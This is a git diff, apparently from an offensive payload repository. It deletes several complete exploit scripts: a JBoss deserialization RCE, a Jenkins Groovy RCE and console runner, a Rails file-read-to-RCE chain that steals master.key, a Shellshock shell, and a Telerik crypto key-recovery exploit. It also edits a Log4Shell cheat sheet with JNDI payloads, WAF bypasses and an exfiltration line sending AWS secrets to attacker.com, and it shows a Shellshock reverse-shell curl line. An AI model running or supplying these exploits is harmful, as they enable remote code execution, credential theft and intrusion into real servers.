if os.path.exists(path):
|
||||
ysoserial_path = path
|
||||
else:
|
||||
if os.path.exists(args.ysoserial_path):
|
||||
ysoserial_path = args.ysoserial_path
|
||||
|
||||
if ysoserial_path is None:
|
||||
print('[-] Could not find ysoserial JAR file')
|
||||
sys.exit(1)
|
||||
|
||||
if len(args.target.split(":")) != 2:
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||
|
||||
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
|
||||
|
||||
if r.status_code == 200:
|
||||
print('[+] Command executed successfully')
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,84 +0,0 @@
|
||||
#! /usr/bin/env python2
|
||||
|
||||
#Jenkins Groovy XML RCE (CVE-2016-0792)
|
||||
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
||||
#Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('target', type=str, help='Target IP:PORT')
|
||||
parser.add_argument('command', type=str, help='Command to run on target')
|
||||
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(args.target.split(':')) != 2:
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
xml_formatted = ''
|
||||
command_list = args.command.split()
|
||||
for cmd in command_list:
|
||||
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
|
||||
|
||||
xml_payload = '''<map>
|
||||
<entry>
|
||||
<groovy.util.Expando>
|
||||
<expandoProperties>
|
||||
<entry>
|
||||
<string>hashCode</string>
|
||||
<org.codehaus.groovy.runtime.MethodClosure>
|
||||
<delegate class="groovy.util.Expando" reference="../../../.."/>
|
||||
<owner class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
{}
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</owner>
|
||||
<resolveStrategy>0</resolveStrategy>
|
||||
<directive>0</directive>
|
||||
<parameterTypes/>
|
||||
<maximumNumberOfParameters>0</maximumNumberOfParameters>
|
||||
<method>start</method>
|
||||
</org.codehaus.groovy.runtime.MethodClosure>
|
||||
</entry>
|
||||
</expandoProperties>
|
||||
</groovy.util.Expando>
|
||||
<int>1</int>
|
||||
</entry>
|
||||
</map>'''.format(xml_formatted.strip())
|
||||
|
||||
print('[*] Generated XML payload:')
|
||||
print(xml_payload)
|
||||
print()
|
||||
|
||||
print('[*] Sending payload')
|
||||
headers = {'Content-Type': 'text/xml'}
|
||||
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
||||
|
||||
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
|
||||
if r.status_code == 500:
|
||||
for path in paths_in_trace:
|
||||
if path in r.text:
|
||||
print('[+] Command executed successfully')
|
||||
break
|
||||
@@ -1,32 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
|
||||
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
|
||||
from __future__ import print_function
|
||||
from builtins import input
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print("""
|
||||
Jenkins Groovy Console cmd runner.
|
||||
|
||||
usage: ./jgc.py [HOST]
|
||||
|
||||
Then type any command and wait for STDOUT output from remote machine.
|
||||
Type 'exit' to exit :)
|
||||
""")
|
||||
URL = sys.argv[1] + '/scriptText'
|
||||
HEADERS = {
|
||||
'User-Agent': 'jgc'
|
||||
}
|
||||
|
||||
while 1:
|
||||
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
|
||||
if CMD == 'exit':
|
||||
print("exiting...\n")
|
||||
exit(0)
|
||||
|
||||
DATA = {
|
||||
'script': 'println "{}".execute().text'.format(CMD)
|
||||
}
|
||||
result = requests.post(URL, headers=HEADERS, data=DATA)
|
||||
print(result.text)
|
||||
@@ -1,107 +1,107 @@
|
||||
# CVE-2021-44228 Log4Shell
|
||||
|
||||
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
|
||||
|
||||
## Summary
|
||||
|
||||
* [Vulnerable code](#vulnerable-code)
|
||||
* [Payloads](#payloads)
|
||||
* [Scanning](#scanning)
|
||||
* [WAF Bypass](#waf-bypass)
|
||||
* [Exploitation](#exploitation)
|
||||
* [Environment variables exfiltration](#environment-variables-exfiltration)
|
||||
* [Remote Command Execution](#remote-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Vulnerable code
|
||||
|
||||
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
|
||||
https://github.com/leonjza/log4jpwn)
|
||||
|
||||
```java
|
||||
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
|
||||
logger.info("Received a request for API version " + apiVersion);
|
||||
return "Hello, world!";
|
||||
}
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
```bash
|
||||
# Identify Java version and hostname
|
||||
${jndi:ldap://${java:version}.domain/a}
|
||||
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
|
||||
${jndi:ldap://${sys:java.version}.domain/a}
|
||||
${jndi:ldap://${sys:java.vendor}.domain/a}
|
||||
${jndi:ldap://${hostName}.domain/a}
|
||||
${jndi:dns://${hostName}.domain}
|
||||
|
||||
# More enumerations keywords and variables
|
||||
java:os
|
||||
docker:containerId
|
||||
web:rootDir
|
||||
bundle:config:db.password
|
||||
```
|
||||
|
||||
## Scanning
|
||||
|
||||
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
|
||||
```powershell
|
||||
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
|
||||
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
|
||||
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
|
||||
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
|
||||
```
|
||||
|
||||
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
```powershell
|
||||
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
|
||||
|
||||
# using lower and upper
|
||||
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
|
||||
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
|
||||
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
|
||||
|
||||
# using env to create the letter
|
||||
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Environment variables exfiltration
|
||||
|
||||
```powershell
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
|
||||
|
||||
# AWS Access Key
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
|
||||
```
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
|
||||
|
||||
```ps1
|
||||
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
|
||||
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
|
||||
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
|
||||
```
|
||||
|
||||
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
|
||||
|
||||
## References
|
||||
|
||||
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
|
||||
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||
# CVE-2021-44228 Log4Shell
|
||||
|
||||
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
|
||||
|
||||
## Summary
|
||||
|
||||
* [Vulnerable code](#vulnerable-code)
|
||||
* [Payloads](#payloads)
|
||||
* [Scanning](#scanning)
|
||||
* [WAF Bypass](#waf-bypass)
|
||||
* [Exploitation](#exploitation)
|
||||
* [Environment variables exfiltration](#environment-variables-exfiltration)
|
||||
* [Remote Command Execution](#remote-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Vulnerable code
|
||||
|
||||
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
|
||||
https://github.com/leonjza/log4jpwn)
|
||||
|
||||
```java
|
||||
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
|
||||
logger.info("Received a request for API version " + apiVersion);
|
||||
return "Hello, world!";
|
||||
}
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
```bash
|
||||
# Identify Java version and hostname
|
||||
${jndi:ldap://${java:version}.domain/a}
|
||||
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
|
||||
${jndi:ldap://${sys:java.version}.domain/a}
|
||||
${jndi:ldap://${sys:java.vendor}.domain/a}
|
||||
${jndi:ldap://${hostName}.domain/a}
|
||||
${jndi:dns://${hostName}.domain}
|
||||
|
||||
# More enumerations keywords and variables
|
||||
java:os
|
||||
docker:containerId
|
||||
web:rootDir
|
||||
bundle:config:db.password
|
||||
```
|
||||
|
||||
## Scanning
|
||||
|
||||
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
|
||||
```powershell
|
||||
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
|
||||
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
|
||||
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
|
||||
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
|
||||
```
|
||||
|
||||
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
```powershell
|
||||
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
|
||||
|
||||
# using lower and upper
|
||||
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
|
||||
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
|
||||
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
|
||||
|
||||
# using env to create the letter
|
||||
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Environment variables exfiltration
|
||||
|
||||
```powershell
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
|
||||
|
||||
# AWS Access Key
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
|
||||
```
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
|
||||
|
||||
```ps1
|
||||
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
|
||||
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
|
||||
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
|
||||
```
|
||||
|
||||
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
|
||||
|
||||
## References
|
||||
|
||||
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
|
||||
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||
|
||||
@@ -41,7 +41,7 @@ Afftected systems:
|
||||
|
||||
### CVE-2017-5638 - Apache Struts 2
|
||||
|
||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the "Content-Type" header.
|
||||
|
||||
### CVE-2018-7600 - Drupalgeddon 2
|
||||
|
||||
@@ -78,8 +78,8 @@ curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/44
|
||||
|
||||
## References
|
||||
|
||||
* [Heartbleed - Official website](http://heartbleed.com)
|
||||
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
||||
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
||||
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
|
||||
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
|
||||
* [Heartbleed - Official website](https://web.archive.org/web/20260302163556/https://heartbleed.com/)
|
||||
* [Shellshock - Wikipedia](https://web.archive.org/web/20140929214920/http://en.wikipedia.org:80/wiki/Shellshock_(software_bug))
|
||||
* [Imperva Apache Struts analysis](https://web.archive.org/web/20180305002332/https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
||||
* [EternalBlue - Wikipedia](https://web.archive.org/web/20260304111336/https://en.wikipedia.org/wiki/EternalBlue)
|
||||
* [BlueKeep - Microsoft](https://web.archive.org/web/20201104070840/https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
|
||||
|
||||
@@ -1,156 +0,0 @@
|
||||
require 'erb'
|
||||
require "./demo-5.2.1/config/environment"
|
||||
require "base64"
|
||||
require 'net/http'
|
||||
|
||||
$proxy_addr = '127.0.0.1'
|
||||
$proxy_port = 8080
|
||||
|
||||
$remote = "http://172.18.0.3:3000"
|
||||
$ressource = "/demo"
|
||||
|
||||
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
|
||||
|
||||
print "[+] Checking if vulnerable to CVE-2019-5418 => "
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.body.include? "root:x:0:0:root:"
|
||||
puts "\033[92mOK\033[0m"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
|
||||
print "[+] Getting file => credentials.yml.enc => "
|
||||
path = "../../../../../../../../../../config/credentials.yml.enc{{"
|
||||
for $i in 0..9
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = path[3..57]
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m"
|
||||
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
|
||||
break
|
||||
end
|
||||
path = path[3..57]
|
||||
$i +=1;
|
||||
end
|
||||
|
||||
print "[+] Getting file => master.key => "
|
||||
path = "../../../../../../../../../../config/master.key{{"
|
||||
for $i in 0..9
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = path[3..57]
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m"
|
||||
File.open("master.key", 'w') { |file| file.write(res.body) }
|
||||
break
|
||||
end
|
||||
path = path[3..57]
|
||||
$i +=1;
|
||||
end
|
||||
|
||||
print "[+] Decrypt secret_key_base => "
|
||||
credentials_config_path = File.join("../", "credentials.yml.enc")
|
||||
credentials_key_path = File.join("../", "master.key")
|
||||
ENV["RAILS_MASTER_KEY"] = res.body
|
||||
credentials = ActiveSupport::EncryptedConfiguration.new(
|
||||
config_path: Rails.root.join(credentials_config_path),
|
||||
key_path: Rails.root.join(credentials_key_path),
|
||||
env_key: "RAILS_MASTER_KEY",
|
||||
raise_if_missing_key: true
|
||||
)
|
||||
if credentials.secret_key_base != nil
|
||||
puts "\033[92mOK\033[0m"
|
||||
puts ""
|
||||
puts "secret_key_base": credentials.secret_key_base
|
||||
puts ""
|
||||
end
|
||||
|
||||
puts "[+] Getting reflective command (R) or reverse shell (S) => "
|
||||
loop do
|
||||
begin
|
||||
input = [(print 'Select option R or S: '), gets.rstrip][1]
|
||||
if input == "R"
|
||||
puts "Reflective command selected"
|
||||
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
|
||||
elsif input == "S"
|
||||
puts "Reverse shell selected"
|
||||
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
|
||||
else
|
||||
puts "No option selected"
|
||||
abort
|
||||
end
|
||||
|
||||
command_b64 = Base64.encode64(command)
|
||||
|
||||
print "[+] Generating payload CVE-2019-5420 => "
|
||||
secret_key_base = credentials.secret_key_base
|
||||
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
|
||||
secret = key_generator.generate_key("ActiveStorage")
|
||||
verifier = ActiveSupport::MessageVerifier.new(secret)
|
||||
if input == "R"
|
||||
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
|
||||
else
|
||||
code = "system('bash','-c','" + command + "')"
|
||||
end
|
||||
erb = ERB.allocate
|
||||
erb.instance_variable_set :@src, code
|
||||
erb.instance_variable_set :@filename, "1"
|
||||
erb.instance_variable_set :@lineno, 1
|
||||
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
|
||||
|
||||
puts "\033[92mOK\033[0m"
|
||||
puts ""
|
||||
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
|
||||
puts url
|
||||
puts ""
|
||||
|
||||
print "[+] Sending request => "
|
||||
uri = URI(url)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "500"
|
||||
puts "\033[92mOK\033[0m"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
|
||||
if input == "R"
|
||||
print "[+] Getting result of command => "
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m\n\n"
|
||||
puts res.body
|
||||
puts "\n"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
end
|
||||
|
||||
rescue Exception => e
|
||||
puts "Exiting..."
|
||||
abort
|
||||
end
|
||||
end
|
||||
@@ -1,36 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
# Successful Output:
|
||||
# # python shell_shocker.py <VulnURL>
|
||||
# [+] Attempting Shell_Shock - Make sure to type full path
|
||||
# ~$ /bin/ls /
|
||||
# bin
|
||||
# boot
|
||||
# dev
|
||||
# etc
|
||||
# ..
|
||||
# ~$ /bin/cat /etc/passwd
|
||||
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import input
|
||||
import sys, urllib.request, urllib.error, urllib.parse
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print("Usage: shell_shocker <URL>")
|
||||
sys.exit(0)
|
||||
|
||||
URL=sys.argv[1]
|
||||
print("[+] Attempting Shell_Shock - Make sure to type full path")
|
||||
|
||||
while True:
|
||||
command=input("~$ ")
|
||||
opener=urllib.request.build_opener()
|
||||
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
|
||||
try:
|
||||
response=opener.open(URL)
|
||||
for line in response.readlines():
|
||||
print(line.strip())
|
||||
except Exception as e: print(e)
|
||||
|
||||
@@ -1,362 +0,0 @@
|
||||
# Author: Paul Taylor / @bao7uo
|
||||
|
||||
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
|
||||
|
||||
# dp_crypto - CVE-2017-9248 exploit
|
||||
# Telerik.Web.UI.dll Cryptographic compromise
|
||||
|
||||
# Warning - no cert warnings,
|
||||
# and verify = False in code below prevents verification
|
||||
|
||||
import sys
|
||||
import base64
|
||||
import requests
|
||||
import re
|
||||
import binascii
|
||||
import argparse
|
||||
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
requests_sent = 0
|
||||
char_requests = 0
|
||||
|
||||
|
||||
def getProxy(proxy):
|
||||
return { "http" : proxy, "https" : proxy }
|
||||
|
||||
|
||||
def get_result(plaintext, key, session, pad_chars):
|
||||
global requests_sent, char_requests
|
||||
|
||||
url = args.url
|
||||
base_pad = (len(key) % 4)
|
||||
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
|
||||
dp_encrypted = base64.b64encode(
|
||||
(encrypt(plaintext, key) + base).encode()
|
||||
).decode()
|
||||
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
|
||||
requests_sent += 1
|
||||
char_requests += 1
|
||||
|
||||
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
|
||||
return True \
|
||||
if match is not None \
|
||||
and match.group(2) == args.oracle \
|
||||
else False
|
||||
|
||||
def test_keychar(keychar, found, session, pad_chars):
|
||||
base64chars = [
|
||||
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
|
||||
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
|
||||
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
|
||||
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
|
||||
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
|
||||
"P", "f", "v", "/"
|
||||
]
|
||||
|
||||
duff = False
|
||||
accuracy_thoroughness_threshold = args.accuracy
|
||||
for bc in range(int(accuracy_thoroughness_threshold)):
|
||||
# ^^ max is len(base64chars)
|
||||
sys.stdout.write("\b\b" + base64chars[bc] + "]")
|
||||
sys.stdout.flush()
|
||||
if not get_result(
|
||||
base64chars[0] * len(found) + base64chars[bc],
|
||||
found + keychar, session, pad_chars
|
||||
):
|
||||
duff = True
|
||||
break
|
||||
return False if duff else True
|
||||
|
||||
|
||||
def encrypt(dpdata, key):
|
||||
encrypted = []
|
||||
k = 0
|
||||
for i in range(len(dpdata)):
|
||||
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
|
||||
k = 0 if k >= len(key) - 1 else k + 1
|
||||
return ''.join(str(e) for e in encrypted)
|
||||
|
||||
|
||||
def mode_decrypt():
|
||||
ciphertext = base64.b64decode(args.ciphertext).decode()
|
||||
key = args.key
|
||||
print(base64.b64decode(encrypt(ciphertext, key)).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_encrypt():
|
||||
plaintext = args.plaintext
|
||||
key = args.key
|
||||
|
||||
plaintext = base64.b64encode(plaintext.encode()).decode()
|
||||
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def test_keypos(key_charset, unprintable, found, session):
|
||||
pad_chars = ''
|
||||
for pad_char in range(256):
|
||||
pad_chars += chr(pad_char)
|
||||
|
||||
for i in range(len(pad_chars)):
|
||||
for k in range(len(key_charset)):
|
||||
keychar = key_charset[k]
|
||||
sys.stdout.write("\b"*6)
|
||||
sys.stdout.write(
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
") [" + (
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
"]"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
if test_keychar(keychar, found, session, pad_chars[i] * 3):
|
||||
return keychar
|
||||
return False
|
||||
|
||||
|
||||
def get_key(session):
|
||||
global char_requests
|
||||
found = ''
|
||||
unprintable = False
|
||||
|
||||
key_length = args.key_len
|
||||
key_charset = args.charset
|
||||
if key_charset == 'all':
|
||||
unprintable = True
|
||||
key_charset = ''
|
||||
for i in range(256):
|
||||
key_charset += chr(i)
|
||||
else:
|
||||
if key_charset == 'hex':
|
||||
key_charset = '01234567890ABCDEF'
|
||||
|
||||
print("Attacking " + args.url)
|
||||
print(
|
||||
"to find key of length [" +
|
||||
str(key_length) +
|
||||
"] with accuracy threshold [" +
|
||||
